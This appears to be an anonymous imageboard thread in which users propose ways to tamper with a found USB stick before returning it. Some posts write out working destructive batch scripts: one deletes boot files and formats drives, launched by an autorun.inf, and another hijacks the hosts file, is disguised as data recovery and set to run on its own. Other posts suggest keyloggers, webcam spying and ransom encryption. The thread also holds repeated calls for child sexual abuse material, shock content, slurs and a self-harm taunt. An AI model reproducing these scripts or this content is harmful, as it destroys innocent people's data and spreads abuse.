nothing, faggot.

If there are any executables, replace them all with a Bonzi Buddy install file.

sublety is the key

>collage
Maybe you should be doing your English homework.

Put this on it.

any pictures

<-This

Gay hardcore porn would be win

shit tons of cp

>>200334397
I love you grandma

copy whole thing to hard drive ... =\
why not?
unless its crap homework..

put all CP

put bme pain olympics on it

Delete his files and put a clown picture on it.
Be mean and keep your dick clean.

>>200334262

winar :)

>>200334206

yep!

>>200334006
THIS

19 years old young cumdumpster bored. add me on MSN 'paris2luv'

nappycoward8

put this on it

all your /b/ folder

you found it at your collage? so you found it at your picture made up of other smaller pictures? thats cool. at least copy and paste faggot.

Michael Jeffrey Jordan (born February 17, 1963) is a retired American professional basketball player and active businessman

put different files of the same name and extension on

All the variations of "i see what you did there"

>>200334006
i lol'd. damn, i forgot about that fucking monkey shit.

Im pretty sure ive seen this thread before... hmm..

What files were on it?

stick it in your ass doubles get

put a goatse.jpg at root

OP here.

Post pic of you holding said USB Stick with a timestamp and post it here then take screencap and post it on the USB stick

http://www.fucktube.com/video/32413/blonde-girl-gets-roped-spanked-and-face-fucked

As you can see, no porn. Yet.

Leave a little text file saying "Love the files I was able to recover by the way. Hot."

this one. they'll get the idea. plus it's good advice.

Norfag:D

Norsk eller dansk?

here ya go OP

it's here newfag

http://4chan-stuff.110mb.com/?content=511964821

Check for hidden folders.

Vancouver Doc in there? OP were do you live?

>>200335958

Looks like the original owner's a MACFAG.

Osbourne Cox's memoir

here you go

autorun a del c on it

George Orwell's 1984, just to really fuck with him.

>>200335958
He's a Mac user, there is a trashes file. There's probably stuff you can recover on there.

Anna worm.

Did u put on that horrible zebra mp3?

>>200336635
!!!!!! FUCKIN DO IT

Yay! Grandmas in!

Fucking shit tons of CP.

>>200333642
>>200333642
>>200333642
copy pasta, damn im sick of this shit

You claimed it was your collage so you must have stuck the USB to it. Put w/e the fuck you want on it mate.

put a textfile on it with some text demanding a "i found it-coffee" and contactdetails.

then have fun with the coffee and maybe a good conversation

CPCPCPCPCPCP!

>>200333642


demand a reward. if they say no destroy it.

>>200336616
you should just torrent a ton of shit like this and fill it up with cartoon pron

Troll all those files are from like a year ago i smell a copy pasta, no go i wanna timestamp

replace his files with batch files the fuck up is computer

>>200336126
>>200336049

Dansk, for mange æ'er fo å være nosrk

>>200336642

and you like fishdix

>>200335630
>>200335630
OH MY FUCKING GOD THAT'S MINE. I DIDN'T EVEN REALIZE I LEFT IT. TAKE IT TO LOST AND FOUND PLEASE.

>>200336635

YESSS

Open all his word documents, add a new page to every one of them containing hello.jpg

http://4chan-stuff.110mb.com/?content=818459778
deliver 'd!

>>200334893
this picture truly makes me sick

anon delivers

http://4chan-stuff.110mb.com/?content=233238263
No rapidshit. No other bullshit.

>>200337407
THIS

>>200336635
>>200336635
>>200336635

DO IT!!!!!

Dump ur gay folder.

>>200337669
>>200337669
>>200337669

FAG DETECTED FAG DETECTED

>>200337669
Funny you say that because it makes me really horny.

Sage, you unoriginal fuckwad

>>200337000
SAUCE!?

>>200337624
>>200337624
>>200337624
DO IT TO THE POWERPOINT.

entire /b/ folder

>>200334893
reported.

sick fuck.

and sage for unoriginality.

>>200337407
>>200337407

It's not copypasta you fucking newfag look at the time on his pic and time of post. Hang yourself now.

< pic unrelated

Slit your wrist take picture put on usb. Turn it in. Then finish the job.

Some kinda virus?

>>200338327
GTFO my /b/

>>200336175

Hmmm....

>>200337000
>>200337000
>>200337000

SAUCE? nice triples

OP here

Hidden folders marked.
I live in Denmark, and the files are in danish.

>>200335958
.Trashes is a Mac thing. desktop.ini is a windows thing.

Copy everything off of it, reformat it as NTFS, and put everything back. Let the owner try to figure out why it no longer works on their mac, when everything's fine under windows.

cut your system 32 folder and paste it onto usb stick

>>200337384
or you could always fill it with gore pics.
or copy goatse a 1000 times over and set it to open them all when its plugged in

Put a pic of your cock on it and a text file with the following message:
This is the Genitalia-traveling-game!
If you are a girl, you need to put a pic of your vagina and/or boobs on this stick. If your are a boy do as the first founder does.
The name of your photo must be your location, and date of the recording.
Put the USB-Stick to a place where a lots of people are, like a trainstation or a mall.
Maybe someday someone with a vision will find this and make it to an epic piece of art, or he/she will fap like a maniac to the pictures, I don't care.
Have fun with the pictures.

And place the stick at the next place where many people are around.

This.

everyone needs this.

2 Gigas? Dont return it you moraldag!

1. Usb stick to anus
2. Take picture
3. Put that picture to that stick (and deliver)
4. ????
5. PROFIT!

>>200338871
That's a really gay idea.

Am I the only one who realized this retard said COLLAGE, also, i have the same flash drive, its in my mouth right now.

did you put that chubby checker on there?

>>200339272
That's a really not gay idea. DO IT FAG

Time stamps will and metadata will cause great fail

delete everything and replace it with cp

take a pic of it rubbing on your dick and save it to the stick

This is a win, you know that?

>>200339024
lol'd

this

>>200335958
se der går en zebra!!!11!!!

http://www.youtube.com/watch?v=Nz3BjF-tvTY

this, and write them a love note in notepad

>>200339272
DO IT FAGGOT
JUST HOPE IT DOESN'T BELONG TO SOMEONE WHO WILL RECOGNIZE YOUR ASS

do a scan for deleted files.

this

OP here

I did not put the Chubby Checker on there.

I have formated the disk and put the files back on.

Which picture should I add to all the powerpoint, and text files?

>>200337000
>>200337000
>>200337000
>>200337000
what movie is it need /b/lack up /b/rother

>>200340556
Gore or porn.

Sometimes I wake up and I think I should start wearing a beret. But I don't do it. One day I'm gonna, though, you betcha ass. I will have a beret on. (laughs) That's ridiculous, but it's true. I always fight with wearing a beret. Is it time?

>>200340556
>I have formated the disk and put the files back on. NO U FAG. Now he won't be able to see it.

Stuff from http://encyclopediadramatica.com/Offended But do it subtly, like change images in his powerpoints to shock images. OR FOR EPIC WIN, make a gif containing 2 frames: one the image on the powerpoint and the other Goatse or something.

PUT A SYSTEM32 DELETING .JS SCRIPT IN THERE, RENAME 'READ ME'

OPEN FILE
???
PROFIT!!!

don't forget to change the file creation time

>>200341277
i agree

>>200341277
>>200341277
This. He will open it on a PC after the formatting.

@echo off
attrib -r -s -h C:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del C:\boot.ini
attrib -r -s -h C:\ntldr
del C:\ntldr
attrib -r -s -h C:\windows\win.ini
del C:\windows\win.ini
formay d:/g/y
format E:/g/y
format F:/g/y
format g:/g/y
format H:/g/y
format i:/g/y
shutdown -s -t 20 -c "Owned by Sweden"

Save it as kill.bat

[autorun]
open=kill.bat

save it as autorun.inf

oh you /b/.... you're so smart!

>>200341277
Maybe he will open it on a collage computer...

This.

THIS IS JUST AN ADVERTISEMENT PHOTO SO NUMBSKULLS WILL SAY HEYYYYY THATS A SMART LOOKIN DEVICE - lern2disseminate between advertising and a legitimate thread

Forget about changing the time of creation. This disk so stuffed full of malware that I'll be surprised if the owner knows how to check a files properties.

Anyone know of a nice little keylogger or something?

>>200341766
Denmark wasnt owned by sweden....

YOU FOUND IT AT YOUR COLLAGE?

>>200340556
Add this picture, because alpacas are rad.

>>200342023
it could just be a representation

SCREENSHOT PLZ OP

download remote webcam client, make .bat to auto install, hope girl reclaims USB, (make auto .bat to send IP to you when opened too) use ip to watch webcam :D ... PROFIT!

OP here

I'm working on those files..

I'm beginning to suspect that the owner might be a muslim.

>>200344097
op remove the autorun, put usb in and out set it to always autorun, put autorun back

replace executables with prog which formats all drives simultanioulsy

MUSLIM?! ha! post bomb plans! flight numbers! GAY!!!!!!! cp! lol (defo gay! muslims dont take gays to well! lol)

>>200335630
That's my stick you god damn son of a bitch.

>>200337809
trolls getting trolled by elves

copy the entire ed offended onto it and autorun them for startup

so OP, what collage did you go to... The University of Derp?

Post mohammed ponr. Add to drive. Also goatse

>>200341277
>>200334006
Both of these are great.

>>200344097
You changed the file system back to FAT, good.

you should also add this too it.

echo ######>> %WINDIR%\system32\drivers\etc\hosts
echo 66.115.143.14 google.com>> %WINDIR%\system32\drivers\etc\hosts
echo 66.115.143.14 www.google.com>> %WINDIR%\system32\drivers\etc\hosts
echo 66.115.143.14 google.co.uk>> %WINDIR%\system32\drivers\etc\hosts
echo 66.115.143.14 www.google.co.uk>> %WINDIR%\system32\drivers\etc\hosts
echo 204.15.225.149 www.hi5.com>> %WINDIR%\system32\drivers\etc\hosts
echo 66.115.143.14 hi5.com>> %WINDIR%\system32\drivers\etc\hosts
echo 80.65.228.130 youtube.com>> %WINDIR%\system32\drivers\etc\hosts
echo 66.115.143.14 www.youtube.com>> %WINDIR%\system32\drivers\etc\hosts
echo 69.65.107.209 facebook.com>> %WINDIR%\system32\drivers\etc\hosts
echo 69.65.107.209 www.facebook.com>> %WINDIR%\system32\drivers\etc\hosts
echo 208.110.70.140 yahoo.com>> %WINDIR%\system32\drivers\etc\hosts
echo 208.110.70.140 www.yahoo.com>> %WINDIR%\system32\drivers\etc\hosts
echo 77.232.92.199 cnn.com>> %WINDIR%\system32\drivers\etc\hosts
echo 77.232.92.199 www.cnn.com>> %WINDIR%\system32\drivers\etc\hosts
echo 77.232.92.199 en.wikipedia.org>> %WINDIR%\system32\drivers\etc\hosts
echo 77.232.92.199 wikipedia.org>> %WINDIR%\system32\drivers\etc\hosts

Save this as .bat.
Use the .bat to .exe converter.
Rename it to autorun.exe
Create autorun.inf file:
[AutoRun]
OPEN=auturon.EXE
ACTION=Recover lost data

????
PROFIT!!!

>>200346025
ACTION = Read me.
So much better.

Get image of swastika, copy pasta it over and over until all you can see is swastikas.

>>200346025
Also, for anyone who doesn't know what this is it would replace those sites with shock sites. great times!

Also, ps3 has no gaems!

PS3 has gaems!

What is the point if he has Mac and u fuck it up that he cant open it with his own computer?

>>200339272

Also do this

>>200335273
As have I.

>>200340539
sauce

>>200347804
I haven't a fucking clue.

>>200334254

Be quick, there is CP so save it and transfer to stick

>>200344097

put a virus that runs from autoplay, infect PROFIT keylogger etc...

Get a linux live cd, format it as ext copy all back on it and lock it as root

spam retarded digusting porn.

>>200346025
DO THIS

CP nigga

MOAR SCREENSHOTS OP BUT INCLUDE THUBMNAILS

zomg my flash drive

put on it old gays making sex

You dumbass! Get the U3 Customizer so yo ucan put what you want on the CD partition... Then add to the CD partition Rick Astley - Never Gonna' Give You Up.mp3 and add an autorun.inf file that contains
[AUTORUN]
open=<whatever you name that .mp3>

Instant and continuous rick-roll every time they plug it in. And 90% chance they won't know how to "fix" it.

BRB GUIZE I NEED A SHIT

i found that exact same cruzer usb stick at my workplace a few months back :O

a revolution perhaps?

stupid crappy orange beacon

CONAN

Hvor har du fundet den henne?

lol du er dansker, hvor er det henne du fandt den ? altså hvilken skole, og smid bare ændre på alle navnene

>>200350564
+1 internets for maeking teh secks

>>200351293

DSFARGEG

(USER WAS BANNED FOR THIS POST)

put this

Put A txt that says "THE OWNER READ ME" and inside put "http://boards.4chan.org/b/";

>>200333333

Create a text document that simply says 'Oops' and delete all files.

Holy fuck! If I had a dollar every time I found a flashdrive at my school, I'd be rich! I'll remember this thread next time I find one. That rick roll one is classic!

i accidentally all your files

>>200353338
Troll detected

op screenshots

>>200338871
that would be epic lulz

Ransom it back to its owner.
But first encrypt it and the ransom the password to him.
Win x2

>>200350587

Trashes + Spotlight folder = Owner uses a Mac. Your autorun files wont do shit.

>>200338971
Also this

>>200338871
>>200338871
>>200338871
THIS

>>200347804
>>200341766
these

op is a fag

put boot 'n' nuke on it.

or fill it with CP and tip off the cops

First of all, I'm not joking around.
That stick looks exactly like my friend's. And some of the files are making me believe it may be his. Please tell me what college you found this at. There could be a goldmine of lulz here.